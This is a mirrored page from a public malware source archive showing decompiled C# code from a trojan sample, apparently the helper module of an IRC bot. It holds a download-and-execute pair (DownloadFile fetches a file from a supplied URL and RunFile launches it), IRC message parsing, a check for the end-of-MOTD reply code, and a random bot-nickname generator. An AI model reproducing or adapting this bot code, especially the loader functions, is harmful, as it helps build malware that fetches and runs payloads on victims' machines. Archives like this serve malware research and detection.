mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
152 lines
4.1 KiB
C#
152 lines
4.1 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Refx.modFunction
|
|||
|
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using Refx.My;
|
|||
|
using System;
|
|||
|
using System.Diagnostics;
|
|||
|
|
|||
|
namespace Refx
|
|||
|
{
|
|||
|
[StandardModule]
|
|||
|
internal sealed class modFunction
|
|||
|
{
|
|||
|
public static bool WildcardCompare(string MatchStr, string RawDATA)
|
|||
|
{
|
|||
|
bool flag1;
|
|||
|
try
|
|||
|
{
|
|||
|
if (RawDATA.Contains("!"))
|
|||
|
{
|
|||
|
string[] strArray = Strings.Split(RawDATA, "!");
|
|||
|
bool flag2 = LikeOperator.LikeString(strArray[1], MatchStr, CompareMethod.Binary);
|
|||
|
strArray[0] = Strings.Replace(strArray[0], ":", "");
|
|||
|
bool flag3 = LikeOperator.LikeString(strArray[0], MatchStr, CompareMethod.Binary);
|
|||
|
flag1 = flag2 | flag3;
|
|||
|
}
|
|||
|
else
|
|||
|
flag1 = false;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
flag1 = false;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
return flag1;
|
|||
|
}
|
|||
|
|
|||
|
public static bool DownloadFile(string LinkFile, string DestFile)
|
|||
|
{
|
|||
|
bool flag;
|
|||
|
try
|
|||
|
{
|
|||
|
MyProject.Computer.Network.DownloadFile(LinkFile, DestFile);
|
|||
|
flag = true;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
flag = false;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
return flag;
|
|||
|
}
|
|||
|
|
|||
|
public static bool RunFile(string Executefile)
|
|||
|
{
|
|||
|
bool flag;
|
|||
|
try
|
|||
|
{
|
|||
|
Process.Start(Executefile);
|
|||
|
flag = true;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
flag = false;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
return flag;
|
|||
|
}
|
|||
|
|
|||
|
public static void Addlog(string Text) => Console.Write("* " + Text + "\r\n");
|
|||
|
|
|||
|
public static bool JoinDelayTest(string Indata)
|
|||
|
{
|
|||
|
bool flag;
|
|||
|
try
|
|||
|
{
|
|||
|
string[] strArray = Strings.Split(Indata);
|
|||
|
flag = Information.UBound((Array) strArray) > 0 && Operators.CompareString(strArray[1], "376", false) == 0;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
flag = false;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
return flag;
|
|||
|
}
|
|||
|
|
|||
|
public static string GenerateString(int length, int sequence, int casing = 0)
|
|||
|
{
|
|||
|
Random random1 = new Random();
|
|||
|
Random random2 = new Random();
|
|||
|
string str = "abcdefghijklmnopqrstuvwxyz";
|
|||
|
string upper = str.ToUpper();
|
|||
|
string empty = string.Empty;
|
|||
|
while (empty.Length != length)
|
|||
|
{
|
|||
|
char minValue;
|
|||
|
switch (casing)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (random1.Next(0, 2))
|
|||
|
{
|
|||
|
case 0:
|
|||
|
minValue = Conversions.ToChar(str.Substring(random2.Next(0, 25), 1));
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
minValue = Conversions.ToChar(upper.Substring(random2.Next(0, 25), 1));
|
|||
|
break;
|
|||
|
}
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
minValue = Conversions.ToChar(upper.Substring(random2.Next(0, 25), 1));
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
minValue = Conversions.ToChar(str.Substring(random2.Next(0, 25), 1));
|
|||
|
break;
|
|||
|
}
|
|||
|
switch (sequence)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (random1.Next(0, 2))
|
|||
|
{
|
|||
|
case 0:
|
|||
|
empty += Conversions.ToString(random2.Next(0, 9));
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
empty += Conversions.ToString(minValue);
|
|||
|
minValue = char.MinValue;
|
|||
|
break;
|
|||
|
}
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
empty += Conversions.ToString(random2.Next(0, 9));
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
empty += Conversions.ToString(minValue);
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
return "R" + empty;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|